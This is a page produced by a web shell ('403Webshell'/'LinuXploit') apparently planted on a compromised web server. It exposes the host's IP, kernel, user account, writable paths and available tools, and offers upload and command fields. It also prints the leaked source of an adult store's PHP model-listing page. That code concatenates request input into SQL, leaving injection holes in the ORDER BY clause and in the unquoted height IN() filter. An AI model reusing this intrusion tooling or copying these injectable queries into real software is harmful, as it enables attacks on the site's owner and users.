403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/models.php
<?php

	include('config.php');
	include('mod_sort.php');
	dbConn();
	$section_header = "Models";

	$col = "l";
	$page_limit = "20";

	// default values, overwritten if POST or GET URL
	$limit_start = "0";
	$sort_url = "?sort_by=name&sort_order=ASC&bodytype=any&cup=any&hair=any&eyes=any&height=any&nationality=any&ethnicity=any";
	$page = "1";
	$sort = "";
	$sort_by  = "`cms_models`.`name`";
	$sort_order = "ASC";
	$letter_sort_url = $sort_url;
	// default values, overwritten if POST or GET URL

	function sort_order_opposite($sort_order) {

		if ($sort_order == "DESC") {
			return "ASC";
		} else {
			return "DESC";			
		}

	}

	if (isset($_POST['bodytype'])) {

		$page = "1";
		$limit_start = "0";
	
		$sort_by = addslashes($_POST['sort_by']); // name=model name, rate=rating, releasedate=releasedate

		if (isset($_POST['sort_order']) && $_POST['sort_order'] != "") {

			$sort_order = addslashes($_POST['sort_order']);

		}

		$sort = "";
		$sort_url = "?sort_by=" . $sort_by . "&sort_order=" . (isset($_POST['sort_order']) ? sort_order_opposite($sort_order): $sort_order) . "&";

	/*
		if (isset($_POST['photographer']) && $_POST['photographer'] != "") {

			$photographer = mysql_real_escape_string($_POST['photographer']);

			$sort .= $photographer . ",";
			$sort_url .= "photographer=" . $photographer;

		} else {
			$sort_url .= "photographer=any";
		}
	*/

		if (isset($_POST['bodytype']) && $_POST['bodytype'] != "") {
			$bodytype = mysql_real_escape_string($_POST['bodytype']);
			$sort .= " AND `cms_models`.`bodytype` = '".$bodytype."'";
			$sort_url .= "bodytype=".$bodytype;
		
			$get = mysql_query("SELECT description FROM cms_tags_s WHERE stag_id = '".$bodytype."'") or die(mysql_error());

			if (mysql_num_rows($get) > 0) {
				$get_txt = mysql_result($get, 0);
		
				$bodytype_html = "<option value=\"".$bodytype."\" selected=\"selected\">".$get_txt."</option>";
			}
		} else {
			$sort_url .= "bodytype=any";
		}
	
		if (isset($_POST['breasttype']) && $_POST['breasttype'] != "") {
			$breasttype = mysql_real_escape_string($_POST['breasttype']);
			$sort .= " AND `cms_models`.`breasttype` = '".$breasttype."'";
			$sort_url .= "breasttype=".$breasttype;
		
			$get = mysql_query("SELECT description FROM cms_tags_s WHERE stag_id = '".$breasttype."'") or die(mysql_error());

			if (mysql_num_rows($get) > 0) {
				$get_txt = mysql_result($get, 0);
		
				$breasttype_html = "<option value=\"".$breasttype."\" selected=\"selected\">".$get_txt."</option>";
			}

		} else {
			$sort_url .= "breasttype=any";
		}
	
		if (isset($_POST['cup']) && $_POST['cup'] != "") {
			$cup = mysql_real_escape_string($_POST['cup']);
			$sort .= " AND `cms_models`.`cup` = '".$cup."'";
			$sort_url .= "&cup=".$cup;
		
			$get = mysql_query("SELECT description FROM cms_tags_s WHERE stag_id = '".$cup."'") or die(mysql_error());

			if (mysql_num_rows($get) > 0) {
				$get_txt = mysql_result($get, 0);
		
				$cup_html = "<option value=\"".$cup."\" selected=\"selected\">".$get_txt."</option>";
			}

		} else {
			$sort_url .= "&cup=any";
		}

		if (isset($_POST['hair']) && $_POST['hair'] != "") {
			$hair = mysql_real_escape_string($_POST['hair']);
			$sort .= " AND `cms_models`.`hair` = '".$hair."'";
			$sort_url .= "&hair=".$hair;
		
			$get = mysql_query("SELECT description FROM cms_tags_s WHERE stag_id = '".$hair."'") or die(mysql_error());

			if (mysql_num_rows($get) > 0) {
				$get_txt = mysql_result($get, 0);
		
				$hair_html = "<option value=\"".$hair."\" selected=\"selected\">".$get_txt."</option>";
			}

		} else {
			$sort_url .= "&hair=any";
		}

		if (isset($_POST['eyes']) && $_POST['eyes'] != "") {
			$eyes = mysql_real_escape_string($_POST['eyes']);
			$sort .= " AND `cms_models`.`eyes` = '".$eyes."'";
			$sort_url .= "&eyes=".$eyes;
		
			$get = mysql_query("SELECT description FROM cms_tags_s WHERE stag_id = '".$eyes."'") or die(mysql_error());

			if (mysql_num_rows($get) > 0) {
				$get_txt = mysql_result($get, 0);
		
				$eyes_html = "<option value=\"".$eyes."\" selected=\"selected\">".$get_txt."</option>";
			}

		} else {
			$sort_url .= "&eyes=any";
		}

		if (isset($_POST['height']) && $_POST['height'] != "") {
			$height = mysql_real_escape_string($_POST['height']);
			$sort .= " AND `cms_models`.`height` IN (".$height.")";
			$sort_url .= "&height=".$height;
		
			if ($height == "45,46,47,48,49") {
				$height_txt = "5'3\" and shorter";
			} elseif ($height == "50,51,52,53") {
				$height_txt = "5'4\" to 5'7\"";
			} else {
				$height_txt = "5'8\" and taller";
			}
		
			$height_html = "<option value=\"".$height."\" selected=\"selected\">".$height_txt."</option>";

		} else {
			$sort_url .= "&height=any";
		}

		if (isset($_POST['ethnicity']) && $_POST['ethnicity'] != "") {
			$ethnicity = mysql_real_escape_string($_POST['ethnicity']);
			$sort .= " AND `cms_models`.`ethnicity` = '".$ethnicity."'";
			$sort_url .= "&ethnicity=".$ethnicity;
		
			$get = mysql_query("SELECT description FROM cms_tags_s WHERE stag_id = '".$ethnicity."'") or die(mysql_error());

			if (mysql_num_rows($get) > 0) {
				$ethnicity_txt = mysql_result($get, 0);
		
				$ethnicity_html = "<option value=\"".$ethnicity."\" selected=\"selected\">".$ethnicity_txt."</option>";
			}

		} else {
			$sort_url .= "&ethnicity=any";
		}

		//$sort = rtrim($sort, ',');
		//$sort = " AND `cms_models_tags`.`stag_id` IN (".$sort.") ";
		//echo $sort."<br><br>";
		//echo $sort_url."<br><br>";

	} elseif (isset($_GET['sort_by'])) {
	
		if (isset($_GET['page'])) {
			$page = $_GET['page'];
		}

		$limit_start = $page * $page_limit - $page_limit;
	
		$sort_by = addslashes($_GET['sort_by']); // name=model name, rate=rating, releasedate=releasedate

		if (isset($_GET['sort_order']) && $_GET['sort_order'] != "") {

			$sort_order = addslashes($_GET['sort_order']);

		}

		$sort = "";
		$sort_url = "?sort_by=" . $sort_by . "&sort_order=" . (isset($_GET['sort_order']) ? sort_order_opposite($sort_order): $sort_order);

	/*
		if (isset($_POST['photographer']) && $_POST['photographer'] != "") {
			$sort .= $_POST['photographer'].",";
			$sort_url .= "&photographer=".$_POST['photographer'];
		} else {
			$sort_url .= "&photographer=any";
		}
	*/

		if (isset($_GET['bodytype']) && $_GET['bodytype'] != "" && $_GET['bodytype'] != "any") {
			$bodytype = mysql_real_escape_string($_GET['bodytype']);
			$sort .= " AND `cms_models`.`bodytype` = '".$bodytype."'";
			$sort_url .= "&bodytype=".$bodytype;
		
			$get = mysql_query("SELECT description FROM cms_tags_s WHERE stag_id = '".$bodytype."'") or die(mysql_error());

			if (mysql_num_rows($get) > 0) {
				$get_txt = mysql_result($get, 0);
		
				$bodytype_html = "<option value=\"".$bodytype."\" selected=\"selected\">".$get_txt."</option>";
			}

		} else {
			$sort_url .= "&bodytype=any";
		}
	
		if (isset($_GET['breasttype']) && $_GET['breasttype'] != "" && $_GET['breasttype'] != "any") {
			$breasttype = mysql_real_escape_string($_GET['breasttype']);
			$sort .= " AND `cms_models`.`breasttype` = '".$breasttype."'";
			$sort_url .= "&breasttype=".$breasttype;
		
			$get = mysql_query("SELECT description FROM cms_tags_s WHERE stag_id = '".$breasttype."'") or die(mysql_error());

			if (mysql_num_rows($get) > 0) {
				$get_txt = mysql_result($get, 0);
		
				$breasttype_html = "<option value=\"".$breasttype."\" selected=\"selected\">".$get_txt."</option>";
			}
		
		} else {
			$sort_url .= "&breasttype=any";
		}
	
		if (isset($_GET['cup']) && $_GET['cup'] != "" && $_GET['cup'] != "any") {
			$cup = mysql_real_escape_string($_GET['cup']);
			$sort .= " AND `cms_models`.`cup` = '".$cup."'";
			$sort_url .= "&cup=".$cup;
		
			$get = mysql_query("SELECT description FROM cms_tags_s WHERE stag_id = '".$cup."'") or die(mysql_error());

			if (mysql_num_rows($get) > 0) {
				$get_txt = mysql_result($get, 0);
		
				$cup_html = "<option value=\"".$cup."\" selected=\"selected\">".$get_txt."</option>";
			}

		} else {
			$sort_url .= "&cup=any";
		}

		if (isset($_GET['hair']) && $_GET['hair'] != "" && $_GET['hair'] != "any") {
			$hair = mysql_real_escape_string($_GET['hair']);
			$sort .= " AND `cms_models`.`hair` = '".$hair."'";
			$sort_url .= "&hair=".$hair;
		
			$get = mysql_query("SELECT description FROM cms_tags_s WHERE stag_id = '".$hair."'") or die(mysql_error());

			if (mysql_num_rows($get) > 0) {
				$get_txt = mysql_result($get, 0);
		
				$hair_html = "<option value=\"".$hair."\" selected=\"selected\">".$get_txt."</option>";
			}

		} else {
			$sort_url .= "&hair=any";
		}

		if (isset($_GET['eyes']) && $_GET['eyes'] != "" && $_GET['eyes'] != "any") {
			$eyes = mysql_real_escape_string($_GET['eyes']);
			$sort .= " AND `cms_models`.`eyes` = '".$eyes."'";
			$sort_url .= "&eyes=".$eyes;

			$get = mysql_query("SELECT description FROM cms_tags_s WHERE stag_id = '".$eyes."'") or die(mysql_error());

			if (mysql_num_rows($get) > 0) {
				$get_txt = mysql_result($get, 0);
		
				$eyes_html = "<option value=\"".$eyes."\" selected=\"selected\">".$get_txt."</option>";
			}

		} else {
			$sort_url .= "&eyes=any";
		}

		if (isset($_GET['height']) && $_GET['height'] != "" && $_GET['height'] != "any") {
			$height = mysql_real_escape_string($_GET['height']);
			$sort .= " AND `cms_models`.`height` IN (".$height.")";
			$sort_url .= "&height=".$height;
		
			if ($height == "45,46,47,48,49") {
				$height_txt = "5'3\" and shorter";
			} elseif ($height == "50,51,52,53") {
				$height_txt = "5'4\" to 5'7\"";
			} else {
				$height_txt = "5'8\" and taller";
			}
		
			$height_html = "<option value=\"".$height."\" selected=\"selected\">".$height_txt."</option>";

		} else {
			$sort_url .= "&height=any";
		}

		if (isset($_GET['ethnicity']) && $_GET['ethnicity'] != "" && $_GET['ethnicity'] != "any") {
			$ethnicity = mysql_real_escape_string($_GET['ethnicity']);
			$sort .= " AND `cms_models`.`ethnicity` = '".$ethnicity."'";
			$sort_url .= "&ethnicity=".$ethnicity;
		
			$get = mysql_query("SELECT description FROM cms_tags_s WHERE stag_id = '".$ethnicity."'") or die(mysql_error());

			if (mysql_num_rows($get) > 0) {
				$ethnicity_txt = mysql_result($get, 0);
		
				$ethnicity_html = "<option value=\"".$ethnicity."\" selected=\"selected\">".$ethnicity_txt."</option>";
			}

		} else {
			$sort_url .= "&ethnicity=any";
		}

		if (isset($sort_url)) {
			$letter_sort_url = $sort_url;
		}

		if (isset($_GET['letter']) && $_GET['letter'] != "") {

			$letter = mysql_real_escape_string($_GET['letter']);
			$sort .= " AND `cms_models`.`name` LIKE '" . $letter . "%'";
			$sort_url .= "letter=" . $letter;
		
		}

	}

	$pagination = "";

	$get_total = mysql_query("SELECT count(*) as count FROM `cms_models` WHERE `cms_models`.`releasedate` <= '".$today."' AND `cms_models`.`approved` = 1 ".$sort) or die(mysql_error());

	if (mysql_num_rows($get_total) > 0) {

		$total_rows = mysql_result($get_total, 0, 'count');
		$total_pages = ceil($total_rows / $page_limit);

		if ($total_pages > 1) {

			$pagination = pagination("models.php".$sort_url,$page,$total_pages);
		}

	}

	$query = "SELECT `cms_models`.`model_id`,
	`cms_models`.`releasedate`,
	`cms_models`.`model_id`,
	`cms_models`.`name`,
	`cms_models`.`total_sets`,
	`cms_models`.`total_photos`,
	(`cms_models`.`rate_total`/`cms_models`.`rate_count`) as rate
	FROM `cms_models`
	WHERE `cms_models`.`releasedate` <= '".$today."' AND `cms_models`.`approved` = 1 ".$sort." ORDER BY ".$sort_by." ".$sort_order." LIMIT ".$limit_start.",".$page_limit."";

	$quickSort = '<div style="float: right;"><b>Quick Sort</b><br />
				<a href="models.php?sort_by=name&sort_order=' . (isset($_REQUEST['sort_order']) ? sort_order_opposite($sort_order): $sort_order) . '&bodytype=any&cup=any&hair=any&eyes=any&height=any&nationality=any&ethnicity=any" class="sublink">Name (A to Z)</a> &#8226; 
				<a href="models.php?sort_by=rate&sort_order=' . (isset($_REQUEST['sort_order']) ? sort_order_opposite($sort_order): $sort_order) . '&bodytype=any&cup=any&hair=any&eyes=any&height=any&nationality=any&ethnicity=any" class="sublink">Top Rated</a> &#8226; 
				<a href="models.php?sort_by=releasedate&sort_order=' . (isset($_REQUEST['sort_order']) ? sort_order_opposite($sort_order): $sort_order) . '&bodytype=any&cup=any&hair=any&eyes=any&height=any&nationality=any&ethnicity=any" class="sublink">Newest</a>
			</div>';

	include('mod_html_top.php');

	$firstLetters_sql = mysql_query("SELECT substr(name,1,1) as firstLetter FROM `cms_models` GROUP BY substr(name,1,1)") or die(mysql_error());

	echo '<div class="letter_sort">';

	if (mysql_num_rows($firstLetters_sql) > 0) {

		while ($firstLetter = mysql_fetch_object($firstLetters_sql)) {

			echo '<a href="models.php' . $letter_sort_url . '&letter=' . $firstLetter->firstLetter . '"' . (isset($_REQUEST['letter']) && $_REQUEST['letter'] == $firstLetter->firstLetter ? ' class="letter_highlight"' : '') . '>' . ucfirst($firstLetter->firstLetter) . '</a>';

		}
	}

	echo '</div>';

	$num_columns = "5";
	include('mod_model_output.php');
	echo $pagination;

	include('mod_html_middle.php');

?>
<div class="rcol_header">&raquo; Quick Sort</div>
<table width="225" border="0" align="center" cellpadding="0" cellspacing="3">
  <tr>
    <td><a href="models.php?sort_by=name&sort_order=<?php echo (isset($_REQUEST['sort_order']) ? sort_order_opposite($sort_order): $sort_order); ?>&bodytype=any&cup=any&hair=any&eyes=any&height=any&nationality=any&ethnicity=any" class="sublink">Model Name (A to Z)</a></td>
  </tr>
    <tr>
    <td><a href="models.php?sort_by=rate&sort_order=<?php echo (isset($_REQUEST['sort_order']) ? sort_order_opposite($sort_order): $sort_order); ?>&bodytype=any&cup=any&hair=any&eyes=any&height=any&nationality=any&ethnicity=any" class="sublink">Top Rated</a></td>
  </tr>
  <tr>
    <td><a href="models.php?sort_by=releasedate&sort_order=<?php echo (isset($_REQUEST['sort_order']) ? sort_order_opposite($sort_order): $sort_order); ?>&bodytype=any&cup=any&hair=any&eyes=any&height=any&nationality=any&ethnicity=any" class="sublink">Newest Releases</a></td>
  </tr>
</table>

        <br />
<div class="rcol_header">&raquo; Custom Sort</div>
<form method="POST" action="<?php echo $_SERVER['PHP_SELF']; ?>" name="sort" id="sort">
        <table width="300" border="0" align="center" cellpadding="0" cellspacing="3">
<tr><td width="150"><div align="right"><strong>sort by:</strong></div></td>
<td><select name="sort_by" class="alt">
<option value="name" <?php if ($sort_by == "name") { echo "selected=\"selected\""; } ?>>Model Name</option>
<option value="rate"<?php if ($sort_by == "rate") { echo "selected=\"selected\""; } ?>>Top Rated</option>
<option value="releasedate"<?php if ($sort_by == "releasedate") { echo "selected=\"selected\""; } ?>>Release Date</option>

</select></td></tr>
<tr><td width="150"><div align="right"><strong>sort order:</strong></div></td>
<td><select name="sort_order" class="alt">
<option value="ASC" <?php if ($sort_order == "ASC") { echo "selected=\"selected\""; } ?>>Ascending</option>
<option value="DESC"<?php if ($sort_order == "DESC") { echo "selected=\"selected\""; } ?>>Descending</option>
</select></td></tr>
<?php /*
<tr><td><strong>photographer:</strong><br /><select name="photographer" class="alt"><option value="">All</option><?php echo stripslashes($stats['photographers']); ?></select></td></tr>
*/
?>

<tr><td width="150"><div align="right"><strong>body type:</strong></div></td>
<td><select name="bodytype" class="alt"><?php echo $bodytype_html; ?><option value="">All</option><?php echo stripslashes($stats['bodytype']); ?></select></td></tr>

<tr><td width="150"><div align="right"><strong>breast type:</strong></div></td>
<td><select name="breasttype" class="alt"><?php echo $breasttype_html; ?><option value="">All</option><?php echo stripslashes($stats['breasttype']); ?></select></td></tr>

<tr><td width="150"><div align="right"><strong>cup:</strong></div></td>
<td><select name="cup" class="alt"><?php echo $cup_html; ?><option value="">All</option><?php echo stripslashes($stats['cup']); ?></select></td></tr>

<tr><td width="150"><div align="right"><strong>hair:</strong></div></td>
<td><select name="hair" class="alt"><?php echo $hair_html; ?><option value="">All</option><?php echo stripslashes($stats['hair']); ?></select></td></tr>

<tr><td width="150"><div align="right"><strong>eyes:</strong></div></td>
<td><select name="eyes" class="alt"><?php echo $eyes_html; ?><option value="">All</option><?php echo stripslashes($stats['eyes']); ?></select></td></tr>

<tr><td width="150"><div align="right"><strong>height:</strong></div></td>
<td><select name="height" class="alt"><?php echo $height_html; ?><option value="">All</option><?php echo stripslashes($stats['height']); ?></select></td></tr>


<tr><td width="150"><div align="right"><strong>ethnicity:</strong></div></td>
<td><select name="ethnicity" class="alt"><?php echo $ethnicity_html; ?><option value="">All</option><?php echo stripslashes($stats['ethnicity']); ?></select></td></tr>

<tr><td colspan="2"><div align="center"><br />
<a href="javascript:document.sort.submit();" class="pagination"><span style="width:125px;">sort models</span></a>
</div></td></tr>
</table>
</form>               
<?php
	include('mod_html_bottom.php');

Youez - 2016 - github.com/yon3zu
LinuXploit